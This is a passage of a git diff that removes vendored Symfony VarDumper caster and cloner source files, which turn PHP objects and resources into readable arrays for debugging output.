Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class ResourceCaster -{ - /** - * @param \CurlHandle|resource $h - * - * @return array - */ - public static function castCurl($h, array $a, Stub $stub, $isNested) - { - return curl_getinfo($h); - } - - public static function castDba($dba, array $a, Stub $stub, $isNested) - { - $list = dba_list(); - $a['file'] = $list[(int) $dba]; - - return $a; - } - - public static function castProcess($process, array $a, Stub $stub, $isNested) - { - return proc_get_status($process); - } - - public static function castStream($stream, array $a, Stub $stub, $isNested) - { - $a = stream_get_meta_data($stream) + static::castStreamContext($stream, $a, $stub, $isNested); - if (isset($a['uri'])) { - $a['uri'] = new LinkStub($a['uri']); - } - - return $a; - } - - public static function castStreamContext($stream, array $a, Stub $stub, $isNested) - { - return @stream_context_get_params($stream) ?: $a; - } - - public static function castGd($gd, array $a, Stub $stub, $isNested) - { - $a['size'] = imagesx($gd).'x'.imagesy($gd); - $a['trueColor'] = imageistruecolor($gd); - - return $a; - } - - public static function castMysqlLink($h, array $a, Stub $stub, $isNested) - { - $a['host'] = mysql_get_host_info($h); - $a['protocol'] = mysql_get_proto_info($h); - $a['server'] = mysql_get_server_info($h); - - return $a; - } - - public static function castOpensslX509($h, array $a, Stub $stub, $isNested) - { - $stub->cut = -1; - $info = openssl_x509_parse($h, false); - - $pin = openssl_pkey_get_public($h); - $pin = openssl_pkey_get_details($pin)['key']; - $pin = \array_slice(explode("\n", $pin), 1, -2); - $pin = base64_decode(implode('', $pin)); - $pin = base64_encode(hash('sha256', $pin, true)); - - $a += [ - 'subject' => new EnumStub(array_intersect_key($info['subject'], ['organizationName' => true, 'commonName' => true])), - 'issuer' => new EnumStub(array_intersect_key($info['issuer'], ['organizationName' => true, 'commonName' => true])), - 'expiry' => new ConstStub(date(\DateTime::ISO8601, $info['validTo_time_t']), $info['validTo_time_t']), - 'fingerprint' => new EnumStub([ - 'md5' => new ConstStub(wordwrap(strtoupper(openssl_x509_fingerprint($h, 'md5')), 2, ':', true)), - 'sha1' => new ConstStub(wordwrap(strtoupper(openssl_x509_fingerprint($h, 'sha1')), 2, ':', true)), - 'sha256' => new ConstStub(wordwrap(strtoupper(openssl_x509_fingerprint($h, 'sha256')), 2, ':', true)), - 'pin-sha256' => new ConstStub($pin), - ]), - ]; - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/SplCaster.php b/vendor/symfony/var-dumper/Caster/SplCaster.php deleted file mode 100644 index c8d55e1..0000000 --- a/vendor/symfony/var-dumper/Caster/SplCaster.php +++ /dev/null @@ -1,245 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts SPL related classes to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class SplCaster -{ - private static $splFileObjectFlags = [ - \SplFileObject::DROP_NEW_LINE => 'DROP_NEW_LINE', - \SplFileObject::READ_AHEAD => 'READ_AHEAD', - \SplFileObject::SKIP_EMPTY => 'SKIP_EMPTY', - \SplFileObject::READ_CSV => 'READ_CSV', - ]; - - public static function castArrayObject(\ArrayObject $c, array $a, Stub $stub, $isNested) - { - return self::castSplArray($c, $a, $stub, $isNested); - } - - public static function castArrayIterator(\ArrayIterator $c, array $a, Stub $stub, $isNested) - { - return self::castSplArray($c, $a, $stub, $isNested); - } - - public static function castHeap(\Iterator $c, array $a, Stub $stub, $isNested) - { - $a += [ - Caster::PREFIX_VIRTUAL.'heap' => iterator_to_array(clone $c), - ]; - - return $a; - } - - public static function castDoublyLinkedList(\SplDoublyLinkedList $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - $mode = $c->getIteratorMode(); - $c->setIteratorMode(\SplDoublyLinkedList::IT_MODE_KEEP | $mode & ~\SplDoublyLinkedList::IT_MODE_DELETE); - - $a += [ - $prefix.'mode' => new ConstStub((($mode & \SplDoublyLinkedList::IT_MODE_LIFO) ? 'IT_MODE_LIFO' : 'IT_MODE_FIFO').' | '.(($mode & \SplDoublyLinkedList::IT_MODE_DELETE) ? 'IT_MODE_DELETE' : 'IT_MODE_KEEP'), $mode), - $prefix.'dllist' => iterator_to_array($c), - ]; - $c->setIteratorMode($mode); - - return $a; - } - - public static function castFileInfo(\SplFileInfo $c, array $a, Stub $stub, $isNested) - { - static $map = [ - 'path' => 'getPath', - 'filename' => 'getFilename', - 'basename' => 'getBasename', - 'pathname' => 'getPathname', - 'extension' => 'getExtension', - 'realPath' => 'getRealPath', - 'aTime' => 'getATime', - 'mTime' => 'getMTime', - 'cTime' => 'getCTime', - 'inode' => 'getInode', - 'size' => 'getSize', - 'perms' => 'getPerms', - 'owner' => 'getOwner', - 'group' => 'getGroup', - 'type' => 'getType', - 'writable' => 'isWritable', - 'readable' => 'isReadable', - 'executable' => 'isExecutable', - 'file' => 'isFile', - 'dir' => 'isDir', - 'link' => 'isLink', - 'linkTarget' => 'getLinkTarget', - ]; - - $prefix = Caster::PREFIX_VIRTUAL; - unset($a["\0SplFileInfo\0fileName"]); - unset($a["\0SplFileInfo\0pathName"]); - - if (\PHP_VERSION_ID < 80000) { - if (false === $c->getPathname()) { - $a[$prefix.'⚠'] = 'The parent constructor was not called: the object is in an invalid state'; - - return $a; - } - } else { - try { - $c->isReadable(); - } catch (\RuntimeException $e) { - if ('Object not initialized' !== $e->getMessage()) { - throw $e; - } - - $a[$prefix.'⚠'] = 'The parent constructor was not called: the object is in an invalid state'; - - return $a; - } catch (\Error $e) { - if ('Object not initialized' !== $e->getMessage()) { - throw $e; - } - - $a[$prefix.'⚠'] = 'The parent constructor was not called: the object is in an invalid state'; - - return $a; - } - } - - foreach ($map as $key => $accessor) { - try { - $a[$prefix.$key] = $c->$accessor(); - } catch (\Exception $e) { - } - } - - if (isset($a[$prefix.'realPath'])) { - $a[$prefix.'realPath'] = new LinkStub($a[$prefix.'realPath']); - } - - if (isset($a[$prefix.'perms'])) { - $a[$prefix.'perms'] = new ConstStub(sprintf('0%o', $a[$prefix.'perms']), $a[$prefix.'perms']); - } - - static $mapDate = ['aTime', 'mTime', 'cTime']; - foreach ($mapDate as $key) { - if (isset($a[$prefix.$key])) { - $a[$prefix.$key] = new ConstStub(date('Y-m-d H:i:s', $a[$prefix.$key]), $a[$prefix.$key]); - } - } - - return $a; - } - - public static function castFileObject(\SplFileObject $c, array $a, Stub $stub, $isNested) - { - static $map = [ - 'csvControl' => 'getCsvControl', - 'flags' => 'getFlags', - 'maxLineLen' => 'getMaxLineLen', - 'fstat' => 'fstat', - 'eof' => 'eof', - 'key' => 'key', - ]; - - $prefix = Caster::PREFIX_VIRTUAL; - - foreach ($map as $key => $accessor) { - try { - $a[$prefix.$key] = $c->$accessor(); - } catch (\Exception $e) { - } - } - - if (isset($a[$prefix.'flags'])) { - $flagsArray = []; - foreach (self::$splFileObjectFlags as $value => $name) { - if ($a[$prefix.'flags'] & $value) { - $flagsArray[] = $name; - } - } - $a[$prefix.'flags'] = new ConstStub(implode('|', $flagsArray), $a[$prefix.'flags']); - } - - if (isset($a[$prefix.'fstat'])) { - $a[$prefix.'fstat'] = new CutArrayStub($a[$prefix.'fstat'], ['dev', 'ino', 'nlink', 'rdev', 'blksize', 'blocks']); - } - - return $a; - } - - public static function castObjectStorage(\SplObjectStorage $c, array $a, Stub $stub, $isNested) - { - $storage = []; - unset($a[Caster::PREFIX_DYNAMIC."\0gcdata"]); // Don't hit https://bugs.php.net/65967 - unset($a["\0SplObjectStorage\0storage"]); - - $clone = clone $c; - foreach ($clone as $obj) { - $storage[] = [ - 'object' => $obj, - 'info' => $clone->getInfo(), - ]; - } - - $a += [ - Caster::PREFIX_VIRTUAL.'storage' => $storage, - ]; - - return $a; - } - - public static function castOuterIterator(\OuterIterator $c, array $a, Stub $stub, $isNested) - { - $a[Caster::PREFIX_VIRTUAL.'innerIterator'] = $c->getInnerIterator(); - - return $a; - } - - public static function castWeakReference(\WeakReference $c, array $a, Stub $stub, $isNested) - { - $a[Caster::PREFIX_VIRTUAL.'object'] = $c->get(); - - return $a; - } - - private static function castSplArray($c, array $a, Stub $stub, bool $isNested): array - { - $prefix = Caster::PREFIX_VIRTUAL; - $flags = $c->getFlags(); - - if (!($flags & \ArrayObject::STD_PROP_LIST)) { - $c->setFlags(\ArrayObject::STD_PROP_LIST); - $a = Caster::castObject($c, \get_class($c), method_exists($c, '__debugInfo'), $stub->class); - $c->setFlags($flags); - } - if (\PHP_VERSION_ID < 70400) { - $a[$prefix.'storage'] = $c->getArrayCopy(); - } - $a += [ - $prefix.'flag::STD_PROP_LIST' => (bool) ($flags & \ArrayObject::STD_PROP_LIST), - $prefix.'flag::ARRAY_AS_PROPS' => (bool) ($flags & \ArrayObject::ARRAY_AS_PROPS), - ]; - if ($c instanceof \ArrayObject) { - $a[$prefix.'iteratorClass'] = new ClassStub($c->getIteratorClass()); - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/StubCaster.php b/vendor/symfony/var-dumper/Caster/StubCaster.php deleted file mode 100644 index b6332fb..0000000 --- a/vendor/symfony/var-dumper/Caster/StubCaster.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts a caster's Stub. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class StubCaster -{ - public static function castStub(Stub $c, array $a, Stub $stub, $isNested) - { - if ($isNested) { - $stub->type = $c->type; - $stub->class = $c->class; - $stub->value = $c->value; - $stub->handle = $c->handle; - $stub->cut = $c->cut; - $stub->attr = $c->attr; - - if (Stub::TYPE_REF === $c->type && !$c->class && \is_string($c->value) && !preg_match('//u', $c->value)) { - $stub->type = Stub::TYPE_STRING; - $stub->class = Stub::STRING_BINARY; - } - - $a = []; - } - - return $a; - } - - public static function castCutArray(CutArrayStub $c, array $a, Stub $stub, $isNested) - { - return $isNested ? $c->preservedSubset : $a; - } - - public static function cutInternals($obj, array $a, Stub $stub, $isNested) - { - if ($isNested) { - $stub->cut += \count($a); - - return []; - } - - return $a; - } - - public static function castEnum(EnumStub $c, array $a, Stub $stub, $isNested) - { - if ($isNested) { - $stub->class = $c->dumpKeys ? '' : null; - $stub->handle = 0; - $stub->value = null; - $stub->cut = $c->cut; - $stub->attr = $c->attr; - - $a = []; - - if ($c->value) { - foreach (array_keys($c->value) as $k) { - $keys[] = !isset($k[0]) || "\0" !== $k[0] ? Caster::PREFIX_VIRTUAL.$k : $k; - } - // Preserve references with array_combine() - $a = array_combine($keys, $c->value); - } - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/SymfonyCaster.php b/vendor/symfony/var-dumper/Caster/SymfonyCaster.php deleted file mode 100644 index ad7bb71..0000000 --- a/vendor/symfony/var-dumper/Caster/SymfonyCaster.php +++ /dev/null @@ -1,69 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\HttpFoundation\Request; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @final since Symfony 4.4 - */ -class SymfonyCaster -{ - private static $requestGetters = [ - 'pathInfo' => 'getPathInfo', - 'requestUri' => 'getRequestUri', - 'baseUrl' => 'getBaseUrl', - 'basePath' => 'getBasePath', - 'method' => 'getMethod', - 'format' => 'getRequestFormat', - ]; - - public static function castRequest(Request $request, array $a, Stub $stub, $isNested) - { - $clone = null; - - foreach (self::$requestGetters as $prop => $getter) { - $key = Caster::PREFIX_PROTECTED.$prop; - if (\array_key_exists($key, $a) && null === $a[$key]) { - if (null === $clone) { - $clone = clone $request; - } - $a[Caster::PREFIX_VIRTUAL.$prop] = $clone->{$getter}(); - } - } - - return $a; - } - - public static function castHttpClient($client, array $a, Stub $stub, $isNested) - { - $multiKey = sprintf("\0%s\0multi", \get_class($client)); - if (isset($a[$multiKey])) { - $a[$multiKey] = new CutStub($a[$multiKey]); - } - - return $a; - } - - public static function castHttpClientResponse($response, array $a, Stub $stub, $isNested) - { - $stub->cut += \count($a); - $a = []; - - foreach ($response->getInfo() as $k => $v) { - $a[Caster::PREFIX_VIRTUAL.$k] = $v; - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/TraceStub.php b/vendor/symfony/var-dumper/Caster/TraceStub.php deleted file mode 100644 index 5eea1c8..0000000 --- a/vendor/symfony/var-dumper/Caster/TraceStub.php +++ /dev/null @@ -1,36 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Represents a backtrace as returned by debug_backtrace() or Exception->getTrace(). - * - * @author Nicolas Grekas - */ -class TraceStub extends Stub -{ - public $keepArgs; - public $sliceOffset; - public $sliceLength; - public $numberingOffset; - - public function __construct(array $trace, bool $keepArgs = true, int $sliceOffset = 0, int $sliceLength = null, int $numberingOffset = 0) - { - $this->value = $trace; - $this->keepArgs = $keepArgs; - $this->sliceOffset = $sliceOffset; - $this->sliceLength = $sliceLength; - $this->numberingOffset = $numberingOffset; - } -} diff --git a/vendor/symfony/var-dumper/Caster/UuidCaster.php b/vendor/symfony/var-dumper/Caster/UuidCaster.php deleted file mode 100644 index b102774..0000000 --- a/vendor/symfony/var-dumper/Caster/UuidCaster.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Ramsey\Uuid\UuidInterface; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @author Grégoire Pineau - */ -final class UuidCaster -{ - public static function castRamseyUuid(UuidInterface $c, array $a, Stub $stub, bool $isNested): array - { - $a += [ - Caster::PREFIX_VIRTUAL.'uuid' => (string) $c, - ]; - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/XmlReaderCaster.php b/vendor/symfony/var-dumper/Caster/XmlReaderCaster.php deleted file mode 100644 index d18e474..0000000 --- a/vendor/symfony/var-dumper/Caster/XmlReaderCaster.php +++ /dev/null @@ -1,79 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts XmlReader class to array representation. - * - * @author Baptiste Clavié - * - * @final since Symfony 4.4 - */ -class XmlReaderCaster -{ - private static $nodeTypes = [ - \XMLReader::NONE => 'NONE', - \XMLReader::ELEMENT => 'ELEMENT', - \XMLReader::ATTRIBUTE => 'ATTRIBUTE', - \XMLReader::TEXT => 'TEXT', - \XMLReader::CDATA => 'CDATA', - \XMLReader::ENTITY_REF => 'ENTITY_REF', - \XMLReader::ENTITY => 'ENTITY', - \XMLReader::PI => 'PI (Processing Instruction)', - \XMLReader::COMMENT => 'COMMENT', - \XMLReader::DOC => 'DOC', - \XMLReader::DOC_TYPE => 'DOC_TYPE', - \XMLReader::DOC_FRAGMENT => 'DOC_FRAGMENT', - \XMLReader::NOTATION => 'NOTATION', - \XMLReader::WHITESPACE => 'WHITESPACE', - \XMLReader::SIGNIFICANT_WHITESPACE => 'SIGNIFICANT_WHITESPACE', - \XMLReader::END_ELEMENT => 'END_ELEMENT', - \XMLReader::END_ENTITY => 'END_ENTITY', - \XMLReader::XML_DECLARATION => 'XML_DECLARATION', - ]; - - public static function castXmlReader(\XMLReader $reader, array $a, Stub $stub, $isNested) - { - $props = Caster::PREFIX_VIRTUAL.'parserProperties'; - $info = [ - 'localName' => $reader->localName, - 'prefix' => $reader->prefix, - 'nodeType' => new ConstStub(self::$nodeTypes[$reader->nodeType], $reader->nodeType), - 'depth' => $reader->depth, - 'isDefault' => $reader->isDefault, - 'isEmptyElement' => \XMLReader::NONE === $reader->nodeType ? null : $reader->isEmptyElement, - 'xmlLang' => $reader->xmlLang, - 'attributeCount' => $reader->attributeCount, - 'value' => $reader->value, - 'namespaceURI' => $reader->namespaceURI, - 'baseURI' => $reader->baseURI ? new LinkStub($reader->baseURI) : $reader->baseURI, - $props => [ - 'LOADDTD' => $reader->getParserProperty(\XMLReader::LOADDTD), - 'DEFAULTATTRS' => $reader->getParserProperty(\XMLReader::DEFAULTATTRS), - 'VALIDATE' => $reader->getParserProperty(\XMLReader::VALIDATE), - 'SUBST_ENTITIES' => $reader->getParserProperty(\XMLReader::SUBST_ENTITIES), - ], - ]; - - if ($info[$props] = Caster::filter($info[$props], Caster::EXCLUDE_EMPTY, [], $count)) { - $info[$props] = new EnumStub($info[$props]); - $info[$props]->cut = $count; - } - - $info = Caster::filter($info, Caster::EXCLUDE_EMPTY, [], $count); - // +2 because hasValue and hasAttributes are always filtered - $stub->cut += $count + 2; - - return $a + $info; - } -} diff --git a/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php b/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php deleted file mode 100644 index 1d9d590..0000000 --- a/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php +++ /dev/null @@ -1,63 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts XML resources to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class XmlResourceCaster -{ - private static $xmlErrors = [ - \XML_ERROR_NONE => 'XML_ERROR_NONE', - \XML_ERROR_NO_MEMORY => 'XML_ERROR_NO_MEMORY', - \XML_ERROR_SYNTAX => 'XML_ERROR_SYNTAX', - \XML_ERROR_NO_ELEMENTS => 'XML_ERROR_NO_ELEMENTS', - \XML_ERROR_INVALID_TOKEN => 'XML_ERROR_INVALID_TOKEN', - \XML_ERROR_UNCLOSED_TOKEN => 'XML_ERROR_UNCLOSED_TOKEN', - \XML_ERROR_PARTIAL_CHAR => 'XML_ERROR_PARTIAL_CHAR', - \XML_ERROR_TAG_MISMATCH => 'XML_ERROR_TAG_MISMATCH', - \XML_ERROR_DUPLICATE_ATTRIBUTE => 'XML_ERROR_DUPLICATE_ATTRIBUTE', - \XML_ERROR_JUNK_AFTER_DOC_ELEMENT => 'XML_ERROR_JUNK_AFTER_DOC_ELEMENT', - \XML_ERROR_PARAM_ENTITY_REF => 'XML_ERROR_PARAM_ENTITY_REF', - \XML_ERROR_UNDEFINED_ENTITY => 'XML_ERROR_UNDEFINED_ENTITY', - \XML_ERROR_RECURSIVE_ENTITY_REF => 'XML_ERROR_RECURSIVE_ENTITY_REF', - \XML_ERROR_ASYNC_ENTITY => 'XML_ERROR_ASYNC_ENTITY', - \XML_ERROR_BAD_CHAR_REF => 'XML_ERROR_BAD_CHAR_REF', - \XML_ERROR_BINARY_ENTITY_REF => 'XML_ERROR_BINARY_ENTITY_REF', - \XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF => 'XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF', - \XML_ERROR_MISPLACED_XML_PI => 'XML_ERROR_MISPLACED_XML_PI', - \XML_ERROR_UNKNOWN_ENCODING => 'XML_ERROR_UNKNOWN_ENCODING', - \XML_ERROR_INCORRECT_ENCODING => 'XML_ERROR_INCORRECT_ENCODING', - \XML_ERROR_UNCLOSED_CDATA_SECTION => 'XML_ERROR_UNCLOSED_CDATA_SECTION', - \XML_ERROR_EXTERNAL_ENTITY_HANDLING => 'XML_ERROR_EXTERNAL_ENTITY_HANDLING', - ]; - - public static function castXml($h, array $a, Stub $stub, $isNested) - { - $a['current_byte_index'] = xml_get_current_byte_index($h); - $a['current_column_number'] = xml_get_current_column_number($h); - $a['current_line_number'] = xml_get_current_line_number($h); - $a['error_code'] = xml_get_error_code($h); - - if (isset(self::$xmlErrors[$a['error_code']])) { - $a['error_code'] = new ConstStub(self::$xmlErrors[$a['error_code']], $a['error_code']); - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Cloner/AbstractCloner.php b/vendor/symfony/var-dumper/Cloner/AbstractCloner.php deleted file mode 100644 index 43051ab..0000000 --- a/vendor/symfony/var-dumper/Cloner/AbstractCloner.php +++ /dev/null @@ -1,367 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -use Symfony\Component\VarDumper\Caster\Caster; -use Symfony\Component\VarDumper\Exception\ThrowingCasterException; - -/** - * AbstractCloner implements a generic caster mechanism for objects and resources. - * - * @author Nicolas Grekas - */ -abstract class AbstractCloner implements ClonerInterface -{ - public static $defaultCasters = [ - '__PHP_Incomplete_Class' => ['Symfony\Component\VarDumper\Caster\Caster', 'castPhpIncompleteClass'], - - 'Symfony\Component\VarDumper\Caster\CutStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castStub'], - 'Symfony\Component\VarDumper\Caster\CutArrayStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castCutArray'], - 'Symfony\Component\VarDumper\Caster\ConstStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castStub'], - 'Symfony\Component\VarDumper\Caster\EnumStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castEnum'], - - 'Closure' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castClosure'], - 'Generator' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castGenerator'], - 'ReflectionType' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castType'], - 'ReflectionGenerator' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castReflectionGenerator'], - 'ReflectionClass' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castClass'], - 'ReflectionFunctionAbstract' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castFunctionAbstract'], - 'ReflectionMethod' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castMethod'], - 'ReflectionParameter' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castParameter'], - 'ReflectionProperty' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castProperty'], - 'ReflectionReference' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castReference'], - 'ReflectionExtension' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castExtension'], - 'ReflectionZendExtension' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castZendExtension'], - - 'Doctrine\Common\Persistence\ObjectManager' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'Doctrine\Common\Proxy\Proxy' => ['Symfony\Component\VarDumper\Caster\DoctrineCaster', 'castCommonProxy'], - 'Doctrine\ORM\Proxy\Proxy' => ['Symfony\Component\VarDumper\Caster\DoctrineCaster', 'castOrmProxy'], - 'Doctrine\ORM\PersistentCollection' => ['Symfony\Component\VarDumper\Caster\DoctrineCaster', 'castPersistentCollection'], - 'Doctrine\Persistence\ObjectManager' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - - 'DOMException' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castException'], - 'DOMStringList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], - 'DOMNameList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], - 'DOMImplementation' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castImplementation'], - 'DOMImplementationList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], - 'DOMNode' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castNode'], - 'DOMNameSpaceNode' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castNameSpaceNode'], - 'DOMDocument' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castDocument'], - 'DOMNodeList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], - 'DOMNamedNodeMap' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], - 'DOMCharacterData' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castCharacterData'], - 'DOMAttr' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castAttr'], - 'DOMElement' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castElement'], - 'DOMText' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castText'], - 'DOMTypeinfo' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castTypeinfo'], - 'DOMDomError' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castDomError'], - 'DOMLocator' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLocator'], - 'DOMDocumentType' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castDocumentType'], - 'DOMNotation' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castNotation'], - 'DOMEntity' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castEntity'], - 'DOMProcessingInstruction' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castProcessingInstruction'], - 'DOMXPath' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castXPath'], - - 'XMLReader' => ['Symfony\Component\VarDumper\Caster\XmlReaderCaster', 'castXmlReader'], - - 'ErrorException' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castErrorException'], - 'Exception' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castException'], - 'Error' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castError'], - 'Symfony\Component\DependencyInjection\ContainerInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'Symfony\Component\EventDispatcher\EventDispatcherInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'Symfony\Component\HttpClient\CurlHttpClient' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClient'], - 'Symfony\Component\HttpClient\NativeHttpClient' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClient'], - 'Symfony\Component\HttpClient\Response\CurlResponse' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClientResponse'], - 'Symfony\Component\HttpClient\Response\NativeResponse' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClientResponse'], - 'Symfony\Component\HttpFoundation\Request' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castRequest'], - 'Symfony\Component\VarDumper\Exception\ThrowingCasterException' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castThrowingCasterException'], - 'Symfony\Component\VarDumper\Caster\TraceStub' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castTraceStub'], - 'Symfony\Component\VarDumper\Caster\FrameStub' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castFrameStub'], - 'Symfony\Component\VarDumper\Cloner\AbstractCloner' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'Symfony\Component\ErrorHandler\Exception\SilencedErrorContext' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castSilencedErrorContext'], - - 'Imagine\Image\ImageInterface' => ['Symfony\Component\VarDumper\Caster\ImagineCaster', 'castImage'], - - 'Ramsey\Uuid\UuidInterface' => ['Symfony\Component\VarDumper\Caster\UuidCaster', 'castRamseyUuid'], - - 'ProxyManager\Proxy\ProxyInterface' => ['Symfony\Component\VarDumper\Caster\ProxyManagerCaster', 'castProxy'], - 'PHPUnit_Framework_MockObject_MockObject' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'PHPUnit\Framework\MockObject\MockObject' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'PHPUnit\Framework\MockObject\Stub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'Prophecy\Prophecy\ProphecySubjectInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - 'Mockery\MockInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], - - 'PDO' => ['Symfony\Component\VarDumper\Caster\PdoCaster', 'castPdo'], - 'PDOStatement' => ['Symfony\Component\VarDumper\Caster\PdoCaster', 'castPdoStatement'], - - 'AMQPConnection' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castConnection'], - 'AMQPChannel' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castChannel'], - 'AMQPQueue' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castQueue'], - 'AMQPExchange' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castExchange'], - 'AMQPEnvelope' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castEnvelope'], - - 'ArrayObject' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castArrayObject'], - 'ArrayIterator' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castArrayIterator'], - 'SplDoublyLinkedList' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castDoublyLinkedList'], - 'SplFileInfo' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castFileInfo'], - 'SplFileObject' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castFileObject'], - 'SplHeap' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castHeap'], - 'SplObjectStorage' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castObjectStorage'], - 'SplPriorityQueue' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castHeap'], - 'OuterIterator' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castOuterIterator'], - 'WeakReference' => 